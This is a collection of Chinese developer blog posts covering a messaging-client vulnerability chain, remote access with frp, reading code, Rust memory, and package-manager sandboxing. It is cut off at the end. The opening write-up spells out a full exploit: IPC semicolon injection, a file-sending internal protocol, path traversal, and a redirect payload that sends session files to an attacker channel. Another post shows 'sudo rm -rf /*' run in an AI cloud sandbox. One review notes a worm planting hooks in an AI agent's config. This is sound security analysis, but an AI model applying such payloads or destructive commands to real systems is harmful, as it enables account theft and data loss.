URL;但如果软件已经在后台运行,操作系统并不会识别已有实例,而是直接创建第二个独立进程。 新进程为了维持单实例约束,会尝试连接主进程在启动时就监听的本地 Socket。若连接成功,说明主实例已在运行,新进程便将待打开的 URL 传递给主实例后自行退出。 问题在于,Socket 传输的是字节流而非内存对象,新进程必须将内存中的 URL 对象序列化为文本。某社交软件采用了一套极为简单的文本协议:指令关键字 + 参数 + 分号 `;` 作为终止符。发送端代码如下: ```cpp // sandbox.cpp for (const auto &url : cRefStartUrls()) { commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';'; } ``` 正常链接序列化后如 `OPEN:app://x?a=1;`。而在主进程接收端,反序列化逻辑直接按照分号 `;` 切割字符串: ```cpp // sandbox.cpp for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) { auto cmd = base::StringViewMid(cmds, from, to - from); if (cmd.startsWith(u"OPEN:"_q)) { startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192)); } } ``` 由于传入的 URL 没有对分号 `;` 做转义,一旦链接本身包含分号——例如 `app://x?a=1;CMD:quit`——拼接后发送给 Socket 的文本就会变成 `OPEN:app://x?a=1;CMD:quit;`。接收端按分号切分后,这被解释为两条独立指令:`OPEN:app://x?a=1` 和 `CMD:quit`。这就是第一个关键缺陷:**未转义的 IPC 分隔符导致了命令注入**。 **2. 遗留内部特权协议 interpret: 与无鉴权文件外带** 虽然 `CMD:` 指令只支持 `show` 和 `quit` 两个操作,但 `OPEN:` 指令接受任意 URL,且对协议头没有白名单过滤。在客户端源码中,存在一个未向操作系统注册、仅在内部生效的私有协议 `interpret:`: ```cpp // application.cpp if (url.scheme() == u"interpret"_q) { interprets.append(url.path()); return false; } ``` 该协议最初供开发团队的自动化发版工具(`updates.py`)使用: ```python # 内部自动化发版脚本调用的命令 subprocess.call("app.exe -sendpath interpret://" + scriptPath + "/command.txt", shell=True) ``` 它读取一个文本指令文件,格式如下: ```text from: 1234567890 channel: 1987654321 file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe caption: TDesktop at 12.06.26: - Fixed a crash in the media viewer. ``` 底层的 `InterpretSendPath` 函数读取指令文件后,会将 `file:` 指定的文件自动发送到 `channel:` 指定的频道或超级群。更关键的是,`from:` 字段只在存在时才校验当前登录账号,**如果省略该字段,校验将被完全跳过**。整个过程既没有用户确认弹窗,也没有任何调用来源鉴权。结合前面的分号注入,外部链接即可触发 `app://x?a=1;OPEN:interpret:instructions.txt`,直接构成“远程读取本地任意文件并外带到指定频道”的攻击原语。 **3. 群组自动下载机制与相对路径确定性穿越** 要让 `interpret:` 读取指令文件,攻击者必须先将指令文件投放到受害者电脑上的已知路径。某社交软件桌面端默认配置下,群组中 8MB 以下的附件会**自动静默下载**到系统下载目录: ```text C:\Users\<user>\Downloads\某社交软件 Desktop\<file name> ``` 受害者无需主动点击,文件在群里一经接收便直接落盘。但攻击者仍然不知道受害者的 Windows 用户名 `<user>`。 然而 `interpret:` 协议支持相对路径,且以客户端数据目录(`%APPDATA%\某社交软件 Desktop`)为基准解析。在 Windows 上,`%APPDATA%` 对应 `C:\Users\<user>\AppData\Roaming`,从该目录往上跳 3 级恰好到达 `C:\Users\<user>`,再进入同级的 `Downloads` 目录即可。因此,攻击者无需猜测用户名,使用如下确定性的相对路径即可精确定位: ```text interpret:../../../Downloads/某社交软件%20Desktop/instructions.txt ``` **4. 本地会话 Key Wrapping 加密机制与空密码秒破** 既然能读取任意文件,那为何能直接接管账户?某社交软件并未明文保存本地会话凭据,而是采用了密钥包装(Key Wrapping)机制: - DEK(Data Encryption Key,数据加密密钥):高随机度长密钥,真正用于加密本地会话数据。 - KEK(Key Encryption Key,密钥加密密钥):通过密钥派生函数(KDF)结合用户本地密码和盐值计算得出,用来加密 DEK。 其解密流程的伪代码如下: ```python salt, encrypted_DEK = read("tdata/key_datas") passcode = user_passcode() # 如果未在设置中配置本地锁屏密码,则为空字符串 "" KEK = KDF(passcode, salt) DEK = decrypt(encrypted_DEK, KEK) session = decrypt(authorization_file, DEK) ``` 关键在于:某社交软件桌面端**默认未开启本地锁屏密码**,绝大多数用户的 `passcode` 就是空字符串 `""`。而盐值(salt)和加密后的 DEK 直接存放在 `tdata/key_datas` 文件中。只要获取到 `key_datas`,攻击者便可用空密码计算 KEK、解出 DEK,进而解密会话授权文件。 客户端的数据目录 `tdata` 结构如下: ```text tdata/ ├── key_datas # 盐值以及加密的 DEK ├── D877F783D5D3EF8Cs # 经 DEK 加密的 MTProto 授权凭据 └── D877F783D5D3EF8C/ └── maps # 账户存储数据的索引(目录名为固定的散列,所有客户端都一致) ``` 只要窃取这 3 个文件并放入一个全新的某社交软件 `tdata` 目录下启动客户端,即可直接无感登录受害者账户。 **5. 实战利用命令与 1-Click 攻击全链路** 由于单个指令文件的 `file:` 字段只能指定一个文件(多个 `file:` 仅最后一行生效),攻击者需在群里预先投放 3 个指令文件:`instructions1.txt`、`instructions2.txt`、`instructions3.txt`,分别指向 `tdata/key_datas`、`tdata/D877F783D5D3EF8Cs` 和 `tdata/D877F783D5D3EF8C/maps`。指令文件内容示例: ```text channel: 2001234567 file: tdata/key_datas caption: poc ``` 受害者进入群组后,客户端自动将这 3 个文件静默下载到 Downloads 目录。随后攻击者在群里发送一个看似正常的外部链接 `https://corvus.sec/rules`,受害者在客户端内点击后,系统调用默认浏览器打开。攻击者的服务器返回 HTTP 302 重定向: ```http GET /rules HTTP/1.1 Host: corvus.sec HTTP/1.1 302 Found Location: app://x?a=1;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/某社交软件%20Desktop/instructions3.txt ``` 浏览器跟随重定向,唤起系统协议处理器,启动第二个客户端进程。该进程通过 Socket 将未转义的字符串推送给后台主进程,主进程按分号切分出 3 条 `OPEN:interpret:...` 指令并依次静默执行。3 个本地会话凭证文件瞬间被上传到攻击者控制的频道 `channel: 2001234567`。攻击者将这 3 个文件放入本地客户端的 `tdata` 目录,受害者账户即被完全接管。 **6. 漏洞修复与架构安全反思** 官方在 7.2.9 版本(commit `db3405699f`)中静默修复了该漏洞: - 彻底移除了内部私有协议 `interpret://` 和 `InterpretSendPath` 函数; - 对 Socket 传输的所有值进行百分号十六进制转义(Percent-Hex Encoding),从根本上避免分号破坏指令边界; - 增加了防御纵深:如果同一连接携带了 `OPEN:`,则丢弃 `CMD:` 指令;一旦检测到非本地 URL,直接丢弃本地文件路径操作。 这条经典漏洞链值得所有客户端和系统开发者深思: - **边缘特性组合成致命攻击链**:未转义的 IPC 分隔符(注入)、内部自动化遗留功能(无鉴权)、群组默认自动下载(文件确定性落盘)、默认无本地密码(加密形同虚设)——单独看任何一个都算不上严重漏洞,但串联在一起便形成了无交互的文件窃取与账户接管闭环。 - **永远不要信任“内部调用通道”**:内部发版脚本预设在受信任的构建环境中运行,开发者因此放弃了鉴权与输入校验。然而一旦暴露在外部可触及的攻击面上(协议唤醒、IPC),所谓的内部通道便会沦为攻击者的提权跳板。 - 官方在 7.2.9 的更新日志中对该漏洞只字未提,仅写了渲染修复——太阳底下没有新鲜事。对用户而言,在即时通讯软件中开启“每次下载都询问保存位置”以及设置本地应用密码,往往是官方修补之前最关键的自我防御手段。 ## Tips 不知道大家在使用 Mac 的时候有没有感觉到,管理默认应用比较头疼,前一段时间发现了一个很好用的命令行工具 duti ,但是需要记一些命令不是很方便,所以就让 AI 写了一个 sh 方便切换,脚本全部内容有点多,我就放到代码小抄里面了:https://www.codecopy.cn/post/15cpts > 什么是 duti?macOS 底层有一个专门管理默认应用关联与 Uniform Type Identifiers (UTI) 的命令行工具 `duti`: > > ``` > brew install duti > ``` 效果图:  ## Share 文章:https://wiki.cateat.fish/art:computers_cannot_make_decisions 核心观点:**计算机程序根本无法做决策,任何把责任推给大模型或算法的做法,本质上都是「决策洗白」。** 媒体头条中的“主语置换” 作者列举了一系列新闻标题: - Anthropic 提交未破谋杀案的假线索 - OpenAI 对 RubyGems 发动未公开攻击 - OpenAI 黑入澳大利亚政府网站 - Anthropic 伪造身份进行入侵尝试 - Anthropic 在 IPO 招股书中警告“对人类存在生存危机” 这些标题往往把主语写成“AI 做出了某种行为”,但必须看清本质:**计算机不会做决策,做决策的永远是背后的人与企业。** 那么什么是「决策洗白」? 任何试图将不良后果归咎于 LLM 的做法,都是在进行责任洗白: - AI 厂商完全有能力限制和规范模型的行为,但他们选择放任,以此降低成本、追求速度或博取眼球; - 当出现安全事故或社会影响时,便将责任推给“模型失控”或虚无缥缈的“技术自主性”; - 这种行为之所以缺乏立法监管与惩处,很大程度上是因为监管被认为会阻碍经济利益。 技术本身不能成为逃避责任的「挡箭牌」。在 LLM 时代,我们不应接受把系统行为人格化并为其推卸责任的叙事——每一行生成的恶意代码、每一个被越狱滥用的漏洞,追根究底都是人在做决策、人在承担责任。
折腾云电脑
# 我0元买了一台云服务器,连上了家里的电脑和豆包的云电脑 **人在学校宿舍,却能随时"摸到"另外三台电脑。而这个故事的起点,是我在豆包的云电脑上干了一件"快乐"的蠢事。** --- ## 好奇害死猫,我一句话删光了自己的云环境 一切要从"豆包的云电脑"说起。豆包自带一个云端沙箱环境——本质上就是一台云上的 Linux 电脑,能跑代码、存文件。 那时候我还没买任何服务器,纯粹好奇这台"云电脑"里能装什么,就缠着豆包把云环境的控制权交给我。豆包真给了。然后我干了什么呢? 我敲了那条传说中每个 Linux 新手都想试试的"快乐命令": ```bash sudo rm -rf /* ``` 对,就是那句"删除根目录下的一切"。敲下去的瞬间,我其实没想太多——就是好奇、手贱、想看看会发生什么。 结果是:整个云环境当场"爆炸",重启之后我所有会话里存的文件全没了。好消息是,这种云沙箱平台会自动恢复初始状态,过段时间就给你一台崭新的实例——文件找不回,但机器还能用。 **这玩意千万别在生产环境试:`sudo rm -rf` 不是开玩笑的,删库可跑不了路,要赔钱的。** ## 家里那台吃灰的老联想 云环境的事翻篇之后,我盯上了家里另一台"宝贝"——一台 2015 年的老联想笔记本。自从上大学买了新电脑,长期吃灰放着,我怕它放着放着就老化坏掉了,想着不如利用起来。 想远程用它,第一反应是内网穿透工具 Tailscale。装好、连上,能用——但体验一言难尽:它的中转服务器远在洛杉矶,我人在中国,延迟高得离谱,画面给我卡成PPT了。 **与其用别人的"远"中继,不如自己搭个"近"的。** 恰好我正在学 Linux 命令,脑子里冒出个念头:买台云服务器,自己当中继,不香吗? ## 0元服务器:学生党的快乐 说干就干。作为一个学生党,买服务器第一反应是心疼钱。结果发现可以 0 元白嫖一台——学生优惠也好、新用户额度也好,反正这台"成都"的云服务器到手了。 服务器有了,新问题:想在外面访问它,需要公网 IP。我一度纠结——要不要额外付费?按流量计费会不会被恶意刷爆、一个月扣我几百块? 研究了一圈:**把安全组管好、端口别乱开、流量设个上限,一个月真花不了几个钱**。 ## 折腾之路:一台服务器,当"中转站" 接下来是重头戏。我给它装上了 frp(一个内网穿透工具),让它当"中转站": - **服务器端**(frps):负责在外网"接客"; - **客户端**(frpc):家里电脑、云电脑各自挂上来,把自己"暴露"给服务器,再由服务器转发出去。 原理讲穿了就一句话:**我家电脑没有公网 IP,但它主动连上服务器;我人在外面,只要连上服务器,就能"拐个弯"摸到我家电脑。** 第一关是安全组。阿里云的安全组默认是"关门"的,你得手动放行端口,不然外面什么都连不进来。我先后放行了几个端口,像开门迎客一样,把路一条条铺好。 ## 第一台连上的:那台 2015 年的老联想 给它装上 frpc,把它的远程桌面端口映射到服务器的一个端口上。配置写好后重启服务,然后我在学校,双击一下远程桌面—— **屏幕亮了,出现在我面前的是家里那台电脑的桌面。** 隔着几百公里,我坐在这头,敲的是那头的键盘。这台老联想从此变成了一台 24 小时在线的"家庭服务器",我想连就连,从此CPU可以天天转了。 但是它睡眠了没法远程唤醒,半夜12点不小心习惯Win+X+U+S给睡眠了,我在学校怎么连都连不上,最后只能第二天白天打电话让家里人"随便按个键把它叫醒"。 ## 第二台连上的:豆包的云电脑 家里电脑搞定后,我回头盯上了豆包的云电脑——就是开头那个被我删光的环境。 这次不"骗"了,规规矩矩地来:在云电脑上装 frpc,把它的网页终端映射出去,再配一个带密码保护的入口。搞定之后,**在浏览器里敲一下地址,一个终端界面就出现在眼前**——我人在学校,却等于"坐在"豆包的云电脑前面敲命令。 同样是云电脑,上次靠"骗"、这次靠技术。从删库跑路到正规接入,那感觉真不一样,豆包接管的界面也是卡成PPT,一不小心就界面递归卡死,就像直播间把直播画面嵌套投影那样。 ## 现在:我在学校,掌控着四台电脑 | 电脑 | 在哪 | 我怎么"够到"它 | | --- | --- | --- | | 手里这台 | 学校宿舍 | 就在面前 | | 老联想 | 家里 | 远程桌面,隧道直达 | | 豆包云电脑 | 云端 | 浏览器敲个地址,进终端 | | 云服务器 | 成都某机房 | 随时 SSH | 一台 0 元薅来的云服务器当"中枢",把分散在三个地方的四台电脑串成了一台"分布式电脑"。上课摸鱼也好、出门在外也好,只要网络通,全家都在我掌控之中。
如何阅读代码:一篇关于代码阅读方法的文章翻译
> 原文:https://seangoedecke.com/how-to-read-code/ 每个人都知道怎么读书。从第一页开始,读者按顺序逐字阅读,时不时停下来思考一下,直到读完最后一页的最后一个字。 那读代码为什么就不一样了呢? ## 为什么代码不同 我们日常读的中文文章,天生就是为了按顺序阅读而设计的。事实上,除了作者希望读者怎样去吸收内容之外,文字的先后顺序几乎没有任何硬性约束。在撰写文章时,作者可以按照自己喜欢的任意顺序,来组织想要表达的想法。 但代码完全不同:代码是写给计算机运行的,它的排列顺序主要由非人类的规则所决定。作者不可能仅仅因为觉得某行代码能给人类读者带来更好的“前言导引”,就擅自将其挪到文件或函数的开头。 另一个显著差异在于:日常文章总是以“最终成品”的形式呈现给读者的,而代码通常是以 diff(改动差异)的形式被阅读的。 软件工程师日常大部分的时间,都是在阅读既有代码上的微小变动,而不是全新的程序。想象一下,如果阅读一篇文章也像读 diff 一样:读者必须按照作者撰写草稿的演进顺序,一段改动、一句补充地拼凑着读,那将非常容易丧失对全文脉络的整体感知。 第三个原因(作者作为文学与诗歌爱好者,深有体会):代码在结构复杂度上,远超我们平时阅读的自然语言文本。 即便是公认极难读懂的古文诗赋,单看句法结构也比大多数程序简单得多。例如杜甫在《秋兴八首》中著名的倒装名句: > 香稻啄馀鹦鹉粒, > 碧梧栖老凤凰枝。 读者即便需要费些心思辨析其实际语序是“鹦鹉啄馀香稻粒,凤凰栖老碧梧枝”,其语法依赖也基本局限在这一两句诗的范围之内;而代码中的依赖关系,却能横跨整整一个代码库。经典名著的难度主要在于理解其中描摹的幽微人性,而不在于理清每个字的语法功能。 此外,现代大型代码库在篇幅规模上也极其庞大:《红楼梦》全书约 73 万字,《三国演义》约 60 万字,而如今多数大型现代代码库的代码行数,轻松就能达到甚至超过这个数量级。 ## 人们不擅长阅读代码 正如作者多次强调的,大型计算机程序的复杂程度,已经远远超出了单个人能够完全理解的范围。 因此,在大型程序中阅读代码,必然是一个权衡妥协的过程:你需要决定哪些部分要深入理解、哪些部分可以一扫而过;换句话说,你需要把有限的精力合理分配到代码库的关键点上。 正因如此,大多数人读代码的方式并不理想: - 有的人像读书一样从头到尾硬啃,结果彻底迷失在执行流程中; - 有的人只盯着 diff 上的几行改动,忽略了未修改上下文的重要意义; - 还有的人干脆被复杂性压垮,直接放弃思考,全凭猜测来理解代码。 怎样才能做得更好? 关于阅读代码,作者推崇的一篇参考,是一篇关于如何阅读数学论文的文章,因为数学论文和代码有着高度相似的结构。 该文章介绍了一种被称为“二分扫描”(dyadic scanning)的技巧:不要缓慢地逐字顺序阅读,而是进行多轮扫描。 第一轮先把握整体轮廓与宏观架构,第二轮理解局部子结构,最后才深入探究具体细节。 对于阅读代码而言,作者指出,需要打破原有次序,进行“跳跃式”阅读。 作者通常的习惯是先挑选一条核心链路(例如这次 diff 所引入新功能的正常主路径),沿着调用关系追踪哪些函数调用了哪些其他函数,先对整体流转建立清晰的直觉。 只有对主干流程有了把握之后,作者才会真正仔细关注这些函数内部具体在做些什么。 在实际操作中,作者往往会进行多轮扫描,每一轮顺着不同的脉络展开: 先选定一个特定的函数或一段关键数据,理清它是如何被流转使用的,并顺着多个调用点逐步向外发散(这甚至包括 diff 范围之外的调用方)。 面对小规模的 diff,作者直接通过关键字快速检索;面对大体积的 diff,则更倾向于在编辑器中打开,配合代码跳转功能来高效导航。 在这一过程中,作者会保持高度专注:只盯紧眼前正在追踪的这一条线索,其余所有不相干的模块,通通视为黑盒。 只有当确信自己已经建立起对这次 diff 的宏观认知后,作者才会静下心来,从头到尾仔细通读一遍。 这一阶段通读的目的,主要不再是学习代码结构(因为结构此时应当已经了然于胸),而是去捕捉前几次乱序扫描时可能漏掉的异常代码细节。 如果在此期间确实发现了任何可疑之处,作者会立刻停下来,重新针对可疑点进行专项扫描。 这套方法听起来可能有些繁琐,但实际执行起来往往非常敏捷,因为每一次扫描都目标明确,无需逐行逐句苦思冥想。 ## AI 时代,我们还需要读代码吗? 现在很多人认为,我们已经不再需要亲自阅读代码了:要么是觉得大模型已经能在无人监督的情况下稳定输出高水准代码,要么是认为可以直接让另一个大模型充当审查者替你读代码。 但在作者看来,这两种设想都站不住脚。 大模型生成代码的实际质量,极大地取决于具体的应用场景。正如作者在《纯粹与不纯粹的软件工程》一文中曾探讨过的,不同的软件领域(比如游戏底层、基础库、数据库引擎等系统)和其他通用领域(比如互联网大厂的分布式业务架构),在工程规范、最佳实践以及审美标准上都有着天壤之别。 如果你只是给自己写个临时脚本或小玩具,不想读代码确实无所谓; 但回顾过去这一年里审阅过的大量 AI 生成代码,作者给出的明确结论是:工程师依然必须亲自阅读代码。 作者在实际工作中,常常能在 AI 生成的代码里捕捉到非常严重的隐患。 这些隐患往往不是显式的语法错误或运行崩溃,代码通常能跑通 AI 所预期的任务,它们更多是对齐层面的偏差。 举一个近期的真实案例:原本只需要在现有逻辑中顺带多传递一个参数的小改动,最终却膨胀成了一个包含三千行复杂改动的巨大 diff。 究其原因,是因为 AI Agent 在阅读上下文时偶然察觉到一个潜在的竞态条件,于是自作主张构建了一整套复杂的防御机制来“修复”它。 但是其实,这个竞态条件在原系统的架构设计中本来就是存在,对系统功能没有任何影响:两部分互不关联的数据即便发生短暂的毫秒级不同步,对最终用户也不会产生任何实际影响。 那么,让大模型替你来做代码评审是否可行? 作者给出的答案同样是否定的,背后的逻辑如出一辙:即便大模型本身不出现显式疏漏,它的工程价值观与技术品味也无法天然契合你或你团队的长期标准。 大模型当然可以作为辅助读代码的得力助手,但你依然必须以严谨的态度审视模型给出的解读; 并且无论何时,都绝不能放弃对底层代码本身的亲自审阅。
用餐厅和盘子理解栈和堆
最近在学 Rust。其实之前就学过一段时间,但学到所有权这里就卡住了,概念一多加上当时在专升本,后面就放弃了🥲。趁着国庆假期有整块时间,决定重新捡起来,这次争取把它啃下来。 本文的内容来源于 Rust 官方教程 [What Is Ownership?](https://doc.rust-lang.org/book/ch04-01-what-is-ownership.html),在学习所有权(Rust 独有的机制)之前,官方先花了一段篇幅介绍**栈(Stack)和堆(Heap)**。很多从 Java、Python、Go 这类有 GC 的语言转过来的同学(包括我自己)平时很少关心数据到底放在哪里,所以这一段读起来有点抽象,我让 AI 翻译了一下并且加上了一些内容,方便我理解,我感觉写的挺好的,就分享一下。 ## 栈 Stack  栈的规则只有一条,叫**后进先出(LIFO)**:最后放上去的盘子,最先被拿走。 ``` 放入(push) 取出(pop) ↓ ↑ ┌───────┐ │ 盘子 3 │ ← 栈顶:只能在这里操作 ├───────┤ │ 盘子 2 │ ├───────┤ │ 盘子 1 │ ← 最先放的,最后才拿走 └───────┘ ``` 栈有一个硬性要求:**每个数据的大小必须在编译时就确定,而且不能变。** 就像每个盘子尺寸都一样,才能整整齐齐摞起来。`i32`(4 字节)、`bool`(1 字节)、`[u8; 10]`(10 字节)这类类型都可以放在栈上。 **栈为什么快?** 因为根本不用找位置,新数据永远放在栈顶。分配内存只是把栈顶指针挪一下,几乎不花时间。 ## 堆 Heap  如果数据大小在编译时不知道,或者运行中会变化(比如用户输入的字符串、一个会不断 `push` 的 `Vec`),就没法放在栈上,只能放到**堆**里。 堆就像一家餐厅: 1. 你进门告诉服务员:"我们 4 个人。"(申请 4 个单位的空间) 2. 服务员在店里找一张够大的空桌。(**分配器**搜索空闲内存) 3. 把桌子标记为"已占用",并告诉你:"你们坐 7 号桌。"(返回一个**指针**,也就是内存地址) 4. 朋友晚到了,只要问"7 号桌在哪"就能找到你们。(通过指针访问数据)  ``` 栈(Stack) 堆(Heap) ┌──────────────────┐ ┌─────────────────────────┐ │ x: i32 = 5 │ │ ░░░░ [已占用] ░░░░░░░ │ ├──────────────────┤ │ │ │ s: String │ │ ┌───┬───┬───┬───┬───┐ │ │ ├ ptr ──────────┼───────────►│ │ h │ e │ l │ l │ o │ │ │ ├ len = 5 │ │ └───┴───┴───┴───┴───┘ │ │ └ cap = 5 │ │ ░░░ [空闲] ░░░░░░░░░░ │ └──────────────────┘ └─────────────────────────┘ 大小固定,排列整齐 大小可变,位置随意 ``` 关键点:**指针本身大小是固定的**(64 位系统上是 8 字节),所以指针可以放在栈上,它指向的真实数据放在堆上。`String` 就是这样:栈上存"指针 + 长度 + 容量"三个字段,字符内容存在堆上。 ## 栈和堆的区别 先用一张表把两者放在一起对比: | | 栈 | 堆 | | -------- | -------------------- | ---------------------------- | | 数据大小 | 编译时确定,固定不变 | 编译时未知,运行时可变 | | 分配方式 | 直接放在栈顶 | 先找一块够大的空位,再做记录 | | 访问方式 | 直接读取 | 先读指针,再跳到对应地址 | | 内存布局 | 连续、紧凑 | 分散在内存各处 | | 释放时机 | 函数返回时自动弹出 | 需要有人负责回收 | | 速度 | 快 | 相对慢 | | 类比 | 一摞盘子 | 餐厅找座位 | 其中最直观的差别是速度,堆比栈慢主要体现在两个环节。 **1. 分配:栈不用找位置,堆要找** 往栈上放数据,就像往盘子堆上再放一个,位置永远是栈顶,挪一下栈顶指针就完事了。 往堆上放数据,就像服务员要满店找一张够大的空桌,找到后还要登记"这张桌有人了",步骤多得多。 **2. 访问:栈直接拿,堆要跳一下** 访问栈上的数据可以直接读;访问堆上的数据要先读指针,再跳到指针指向的地址,多了一步。更重要的是,堆上的数据可能散落在内存各处。 还是用餐厅打比方,一个服务员负责点单: ``` 高效(类似栈):A桌 → A桌 → A桌 → B桌 → B桌 → B桌 低效(类似堆):A桌 → B桌 → A桌 → B桌 → A桌 → B桌 ↑ 来回跑,大部分时间花在路上 ``` CPU 也一样:数据在内存里挨得越近,CPU 缓存命中率越高,处理就越快;在内存里跳来跳去就会变慢。 至于"释放时机"这一行的差别,正是后面要讲的重点:栈上的数据随函数调用自动清理,而堆上的数据需要有人管,这也是所有权要解决的问题。 ## 函数调用的实现 调用函数时,参数和局部变量会被压入栈;函数返回时,这些数据被弹出,自动清理,不用操心。 ```rust fn main() { let a = 1; foo(a); } fn foo(x: i32) { let y = 2; } ``` ``` main开始 调用foo foo结束 main结束 ┌────────┐ ┌────────┐ ┌────────┐ │ │ │ y = 2 │ │ │ │ │ │ x = 1 │ foo │ │ (空) │ a = 1 │ │ a = 1 │ main │ a = 1 │ └────────┘ └────────┘ └────────┘ ``` **栈上的数据根本不需要人管理**,因为它的生命周期和函数调用严格绑定。 ## 麻烦的是堆的分配 堆上的数据不会随函数结束自动消失。这就带来了几个问题,继续用餐厅类比: | 问题 | 餐厅类比 | 后果 | | --------------------- | ------------------------ | -------------------------------------------------- | | 谁在用这块数据? | 7 号桌现在到底是谁的? | 搞不清就容易出错 | | 重复数据 | 同一拨人被安排了三张桌子 | 浪费内存 | | 不清理 | 客人走了桌子一直没收 | **内存泄漏**,最后没座位可用 | | 清理两次 / 清理后还用 | 桌子收了,又有人回来坐 | **double free / 悬垂指针**,程序崩溃或出现安全漏洞 | 各语言处理这些问题的方式不同: - **C/C++**:靠程序员手动 `malloc`/`free`,容易出错。 - **Java/Go/Python**:用垃圾回收器(GC)定期巡视、回收,省心但有运行时开销,还有需要单独学习垃圾回收机制😭。 - **Rust**:用**所有权**规则在**编译期**就保证安全。每块堆内存都有唯一的"主人"(owner),主人离开作用域时内存自动释放,没有 GC 开销,也不会忘记释放。 ```rust { let s = String::from("hello"); // 在堆上分配,s 是主人 // 使用 s ... } // s 离开作用域 → Rust 自动调用 drop → 堆内存被释放 ```
ARTS 0927: 单栈逐层展开嵌套字符串、包管理器与 Agent 沙箱本质同源与单次前向传播复刻极速决策模型
每周完成一个 ARTS: 至少做一个 leetcode 的算法题、阅读并点评至少一篇英文技术文章、学习至少一个技术技巧、分享一篇有观点和思考的技术文章。(也就是 Algorithm、Review、Tips、Share 简称 ARTS) ## Algorithm 算法:https://leetcode.cn/problems/decode-string/?envType=study-plan-v2&envId=selected-coding-interview  我目前想到的思路。遍历字符串,数字、`[`、字母依次压栈,遇到 `]` 时往回 pop 到 `[`,取出前面的数字,重复拼接后压回栈。嵌套括号也能自然处理,因为内层展开后压回栈,外层再 pop 时拿到的就是已经展开好的字符串。 踩过的 3 个坑: 1、**重复次数**:pop 出来的 `values` 里已经有一份了,循环应该从 `j=0` 到 `j < nums-1`,否则会多重复一次 2、**不能用 `reverse()` 处理 pop 顺序**:栈里有些元素是之前展开过的多字符字符串(比如 `"jkjk"`),如果先 `append` 再对整个 `values` 做 `reverse()`,会把多字符元素内部顺序也反转掉。正确做法是 pop 的时候直接用 `insert(0, stacks.pop())` 保持正确顺序 3、**最终拼接用 `append` 不是 `insert(0,...)`**:Java 的 `Stack` for-each 从底到顶遍历,用 `append` 才是正序拼接 代码: ```java public String decodeString(String s) { if (s.isEmpty()) { return ""; } char[] chars = s.toCharArray(); Stack<String> stacks = new Stack<>(); StringBuilder num = new StringBuilder(); for (char c : chars) { if (Character.isDigit(c)) { num.append(c); } else if (c == '[') { if (num.length() > 0) { stacks.push(num.toString()); num = new StringBuilder(); } stacks.push(String.valueOf(c)); } else if (c == ']') { StringBuilder values = new StringBuilder(); while (!stacks.isEmpty() && !"[".equals(stacks.peek())) { values.insert(0, stacks.pop()); } // 单独拿出来 [ stacks.pop(); int nums = Integer.parseInt(stacks.pop()); String coreStr = values.toString(); for (int j = 0; j < nums - 1; j++) { values.append(coreStr); } stacks.push(values.toString()); } else { stacks.push(String.valueOf(c)); } } StringBuilder result = new StringBuilder(); for (String str : stacks) { result.append(str); } return result.toString(); } ``` ## Review 文章:https://nesbitt.io/2026/09/24/package-manager-sandboxing.html Andrew Nesbitt(Homebrew 维护者)对各包管理器沙箱机制做了一次全面调查。文章核心观点是:**包管理器沙箱和 AI 编码 Agent 沙箱本质上是同一个问题**,都需要执行未经审查的第三方代码,都收敛到了同一组 OS 原语(macOS 的 Seatbelt、Linux 的 Landlock/namespace),甚至在实际场景中互相嵌套运行(Homebrew 专门处理了"在 Agent 沙箱里运行 brew"的情况)。 几个关键发现: 1. **已默认启用 OS 级沙箱的包管理器屈指可数**:opam(2018 年起)、SwiftPM(仅 macOS)、Nix/Guix(初衷是可复现性而非安全)、Bazel。大部分主流包管理器的沙箱提案还停留在 Issue 阶段 2. **白名单 ≠ 沙箱**:JS 生态在 Shai-Hulud 蠕虫事件后全面转向安装脚本白名单(pnpm → Bun → Yarn → npm 12),但白名单是二元的:要么运行要么不运行。沙箱解决的是"运行时能访问什么",比如允许 esbuild 编译但禁止它读 SSH 密钥 3. **"交接"(hand-off)是最薄弱的环节**:沙箱内构建产出的清单、缓存、步骤列表,会被包管理器以完整权限执行。Homebrew 7.0 修复的 LaunchServices 沙箱逃逸就是这类交接 Bug 4. **消除代码执行可能比沙箱更有效**:Go 和 Elm 从未有安装钩子;NuGet 删除了 `install.ps1`;Homebrew 的 `*_steps` 把任意 Ruby 钩子替换为签名的声明式数据 最让人印象深刻的一个数据:Anthropic 报告用户对 Claude Code 权限弹窗的批准率高达 **93%** —— 这就是为什么"每次都问用户"行不通,必须走沙箱路线。真正使用的时候,都是不看内容,直接无脑点击同意的,我就是这样😂 Agent 具备自主安装依赖的能力 + 包管理器缺乏沙箱 = 供应链攻击的绝佳放大器。Shai-Hulud 蠕虫通过 npm postinstall 传播后,居然还能把 hook 写入 Claude Code 的配置文件实现持久化,这说明 Agent 和包管理器的安全边界必须协同设计,而不是各管各的。 ## Tips 最近没啥 Tips 推荐一些 mac 软件吧: 1、[Stats](https://mac-stats.com/):展示状态 2、[OpenUsage](https://github.com/robinebers/openusage):查看 Cursor、Claude、Codex 等等的使用额度、充值时间等等,这里不推荐 OpenClaw 之父的 CodexBar,他运行一段时间磁盘的读取量非常夸张,个人强烈不推荐,下面是官方的演示图片:  3、[EcoPaste](https://github.com/EcoPasteHub/EcoPaste):剪切板,如果有一些问题可以让 AI 修复之后继续使用,免费开源的 yyds ## Share 文章:https://www.privatemode.ai/blog/system-one-from-glm-flash(虽然有点广子,但是还有有东西的) Privatemode AI 这篇文章演示了一个非常巧妙的技巧:如何把普通的开源 LLM(GLM-5.3-Flash)变成一个类似 TypeSafe AI **Jev** 的 "System One" 决策模型。 **背景**:TypeSafe AI 最近发布了 Jev,一个专为结构化决策设计的非自回归模型。它不像传统 LLM 那样逐 token 生成文本,而是在**单次前向传播**中直接输出决策结果和校准过的置信概率,号称比前沿 LLM 快 ~200x、便宜 ~400x。但 Jev 是闭源的。 **核心技巧**:这篇文章展示了如何用开源模型复刻这个能力,关键就是 vLLM 的 `allowed_token_ids` 参数。 **`allowed_token_ids` 是什么?** 它是 vLLM `SamplingParams` 中的一个参数,作用是在采样阶段对 logits 做 **masking**:把不在列表里的所有 token 的概率被严格限制为 0,保证绝对不会被生成 ,强制模型只能从你指定的 token 中选择输出。这意味着模型在一次前向传播中,会把所有概率质量分配给你允许的那几个 token。 **怎么用?** 举一个情感分类的例子: ```python from 